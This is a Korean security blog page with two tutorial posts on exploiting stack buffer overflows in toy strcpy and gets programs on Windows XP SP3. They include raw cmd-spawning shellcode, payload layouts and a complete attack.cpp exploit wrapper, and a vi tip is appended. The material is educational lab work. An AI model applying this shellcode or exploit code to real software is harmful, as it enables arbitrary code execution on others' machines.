최초작성일 : 2014/06/13


Windows Buffer Overflow #2


환경


Windows XP Professional K Version 2002 SP3

VC++ 6.0


두 번째 대상 프로그램은 입력 값을 받아서 strcpy 함수로 buf에 저장하고 출력하는 단순한 프로그램이다. 하지만 strcpy 함수는 입력 값 길이 검증을 하지 않으므로 bufferoverflow를 발생시킨다.


1. 대상프로그램

// strcpy.cpp

#include <stdio.h>

#include <windows.h>

 

int main(int argc, char *argv[])

{

char buf[100];

 

if( argc < 2)

{

           printf("%s string\n", argv[0]);

           exit(1);

}

printf("\nbuf : 0x%x\n", buf);

strcpy(buf, argv[1]);

printf("%s\n", buf);

return 0;

}

  


2. 취약점확인


buf 100byte의크기로 배열이 선언되어 있다. 입력 값으로 100byte를초과하는 문자열을 입력하면 overflow가 발생한다.


[그림1] buffer overflow 발생

  

3. Stack구조

A*100 + BBBB + CCCC 를 입력하면 eip  43434343(CCCC)으로 변조 되는 것을 확인할 수있다.


[그림2] 변조된 eip 주소로 오류 메시지가 발생함


4. Shellcode


1)shellcode 작성


먼저 쉘 코드를 argv[1]과 같이 아규먼트 방식으로 받는 경우에는 Windows XP SP3 다국어 버전 에서 알아두어야 할 사항이 있다. XPSP3 다국어 윈도우는 내부적으로 wchar 형 함수(unicode함수)를 사용하여 문자열을 전달 받는다. 이때 0x80 이상의 문자가 입력되면(ascii 코드가 아닌값) unicode로 처리한다. 하지만 입력 받은 문자가unicode 문자 표에 없다면(unicode가 아니라면) 0x3F로 변경된다.

 

이런 문제로 기존에 만들었던 shellcode를 사용할 수 없고, 0x3F로 변경 되는 것을 피하기 위해서 shellcode의 수정이필요하다. shellcode 작성에 대한 내용은 이번 주제에서는 다루지 않으므로 다음 사이트를 참조한다.


http://uptx.egloos.com/372313


결국 0x3F 변경을 우회하는shellcode 작성이 필요하므로 다음과 같이 작성하였다.

char shellcode[]=

"\x68\x63\x6d\x64\x01"  

"\x80\x44\x24\x03\x1f"  

"\x54"               

"\x68\xfa\xca\x71\x7c"  

"\x80\x44\x24\x02\x10"  

"\x68\x2d\x23\x76\x7c" 

"\x80\x44\x24\x02\x10"  

"\x80\x04\x24\x80"    

"\xc3\x90";             

 

2)shellcode 위치

strcpy 프로그램에는 buf의위치를 출력하는 코드가 존재한다. 현재 buf의 위치는 0x12ff1c로 표기되고 있다.(그림1, 그림2 참조) 0x0012ff2c(nop중간인 0x0012ff2c ret를 정하고실행) ret에 넣고 실행하니 eip 0x0012ff77에서 오류가 발생한다.

 

해당 주소를 살펴보니 내가 입력한 shellcode가 존재하지 않는다. 어떠한 문제점으로 인하여 shellcode가 망가진 상태이고, 이로 인하여 공격을 성공시킬 수가 없다!! (해당 이유는 스스로 한번 확인해보기 바란다.)

 


[그림3] buf 함수 주소 위치

 

하지만 shellcode가 입력되면서 메모리 어딘가에는 존재할 것으로추측 되고, shellcode를 찾기 위해서 WinHex를 이용하여 strcpy.exe의 메모리상에서 shellcode의 위치를 검색해 보기로 했다.


첫 번째 shellcode 위치


[그림4] 첫 번째 shellcode 위치

 

두 번째 shellcode 위치


[그림5] 두 번째 shellcode 위치

 

세 번째 shellcode 위치


[그림6] 세 번째 shellcode 위치

 

네 번째 shellcode 위치


[그림7] 네 번째 shellcode 위치

 

모두 4곳에서nop+shellcode가 정상적으로 존재한다. 하지만 해당주소 모두를 ret에 사용할 수 있는 것은 아니다. 마찬가지로 ret의 주소도 유니코드로 인식되지 않으면 0x3F로 변경 당한다. 나는 0x00430e80의 주소가 적당해 보여, 해당 주소를 ret 에 대입하여 공격에 사용해보자.


5.payload 구성

공격에 사용할 payload를 구성해 보면 다음과 같다.

 

buf = 100byte = nop + shellcode

sfp = 4byte = AAAA

ret = 4byte = &(nop+shellcode)

 

buf

sfp

ret

nop+shellcode

AAAA

&(nop+shellcode)

 

buf nop  shellcode를 채우고, ret의 값은 메모리에서 발견한 nop+shellcode 주소 중 적당한 주소를 선택한다.

 

nop = \x90\x90\x90\x90\x90\x90..

shellcode = \x68\x63\x6d\x64\x01...

sfp = AAAA

ret = 0x430e80


최종 payload 구성은 다음과 같다.

buf

sfp

ret

\x90\x90\x90\x90\x90\x90...\x68\x63\x6d\x64\x01...

AAAA

0x430e80

  

6.Buffer Overflow 공격

payload 구성이 완료 되었으므로 다음과 같은 wrapper 공격 코드를 작성하여 공격해보자.

// attack.cpp

#include <stdio.h>

#include <process.h>

#include <string.h>

#include <windows.h>

 

char shellcode[]=

"\x68\x63\x6d\x64\x01" 

"\x80\x44\x24\x03\x1f"  

"\x54"                 

"\x68\xfa\xca\x71\x7c" 

"\x80\x44\x24\x02\x10" 

"\x68\x2d\x23\x76\x7c"  

"\x80\x44\x24\x02\x10"  

"\x80\x04\x24\x80"   

"\xc3\x90";           

 

int main(int argc, char *argv[])



{

  char buffer[150];

 

  if( argc < 2 )

  {

printf("Usage: %s number\n",argv[0]);

exit(1);

  }

 

  int ebp = atoi(argv[1]);

 

  memset(buffer, 0, sizeof(buffer));

  memset(buffer, 0x90, sizeof(buffer));

  memcpy(buffer+60, shellcode, strlen(shellcode));

 

  *(long *) &buffer[ebp] = 0x41414141;

  *(long *) &buffer[ebp+4] = 0x430e80;

 

  execl("strcpy.exe", "strcpy.exe", buffer, 0);

 

  return 0;

}

 

이제 공격을 시도해보자. (attack.exe 100)

만약 공격이 성공하면 다음과 같이 정상적으로 cmd가 실행될 것이다.


[그림8] 공격 성공

 









7. 참고사이트

http://uptx.egloos.com/372313



'BOF' 카테고리의 다른 글

[BOF] BOF 개요  (0) 2017.04.29
[windows] windows buffer overflow #3  (0) 2017.04.01
[windows] windows buffer overflow #1  (0) 2017.04.01

최초 작성일 : 2014/06/04


Windows Buffer Overflow #1

- 환경


Windows XP Professional K Version 2002 SP3
VC++ 6.0


1. 대상 프로그램
bof의 기초를 익히기 위해 cmd를 실행하는 shellcode를 소스 안에 넣어두었다. main 함수를 보면 shellcode의 주소가 출력되고, 입력되는 문자열의 길이를 체크하지 않는 gets 함수의 취약점을 이용하여 shellcode를 실행할 수 있다.


// gets.cpp
#include <stdio.h>
char shellcode[]=
"\x55"
"\x8b\xec"
"\x53"
"\xc6\x45\xfc\x63"
"\xc6\x45\xfd\x6d"
"\xc6\x45\xfe\x64"
"\xc6\x45\xff\x00"
"\x6a\x01"
"\x8d\x45\xfc"
"\x50"
"\xb8\xad\x23\x86\x7c"
"\xff\xd0"
"\x6a\x01"
"\xb8\xfa\xca\x81\x7c"
"\xff\xd0";
int main()
{
 char buf[10];
 printf("shellcode : 0x%x\n", shellcode);
 printf("input : ");
 gets(buf);
 printf("\noutput : %s\n",buf);
}


2. 취약점 확인
buf는 10byte의 크기로 배열이 선언되어 있다. gets의 입력 값으로 10byte를 초과하는 문자열을 입력하면 overflow가 발생한다. 또한, shellcode의 주소는 0x422360 임을 화면에 출력된 내용을 보고 확인 할 수 있다.


[그림1] AAAAAAAAAABBBBBBBBBB (20byte) 입력 시 overflow 발생


3. stack 구조
buf가 10byte로 선언되어 있지만 ret를 조작하여 eip를 변경하려면 ret까지의 정확한 위치를 알아야 한다. 간단한 시도로 AAAAAAAAAABBCCCCDDDD의 입력 값에서 eip가 44444444(DDDD)로 변조되는 것을 확인할 수 있다. 즉, buf로 부터 ret 까지의 거리는 16byte 떨어져 있다. BB는 buf와 sfp 사이에 garbage 값이다.



[그림2] 변경된 eip 주소로 오류 메시지가 발생함


4. payload 구성
공격에 사용될 payload를 구성해 보면 다음과 같다.

buf = 10byte
garbage = 2byte
sfp = 4byte
ret = 0x422360 (shellcode 주소)

bufgarbagesfpret
AAAAAAAAAAGGBBBB0x422360


shellcode address인 0x422360은 간단히 ASCII 코드표에서 문자를 찾아서 대입하면 된다.


[그림3] ascii 코드 표

0x42 = B
0x23 = #
0x60 = `
메모리 주소는 리틀 엔디안(Little-Endian) 형식에 따라 하위 byte부터 입력한다. 
최종 payload는 다음과 같다.

bufgarbagesfpret
AAAAAAAAAAGGBBBB`#B


5. Buffer Overflow 공격
최종 payload ( AAAAAAAAAAGGBBBB`#B )로 공격을 실행하면 buf를 overflow하여 eip를 shellcode위치로 변경할 수 있다. 공격이 성공하면 cmd가 실행된다.

[그림4] bof 공격 성공


6. 디버깅
main 함수 시작

[그림5] main()


gets 함수 실행


[그림6] gets()


공격 실행


[그림7] bof attack


sfp 위치의 stack 0x0012FF80 = 42424242 (BBBB)


[그림8] pop ebp


ret 위치의 stack 0x0012FF84 = 00422360 (shellcode 주소)


[그림9] RETN


RETN의 실행으로 변경된 eip (0x00422360) 위치로 리턴함


[그림10] shellcode


shellcode가 실행되어, cmd가 동작함


 [그림11] cmd execute


7. 참고사이트
http://pgnsc.tistory.com/260





'BOF' 카테고리의 다른 글

[BOF] BOF 개요  (0) 2017.04.29
[windows] windows buffer overflow #3  (0) 2017.04.01
[windows] windows buffer overflow #2  (0) 2017.04.01

UNIX 사용시 vi에서 ESC가 적용되지 않을 경우에는 

Ctrl + [ 키로 ESC를 대체할 수 있다.


+ Recent posts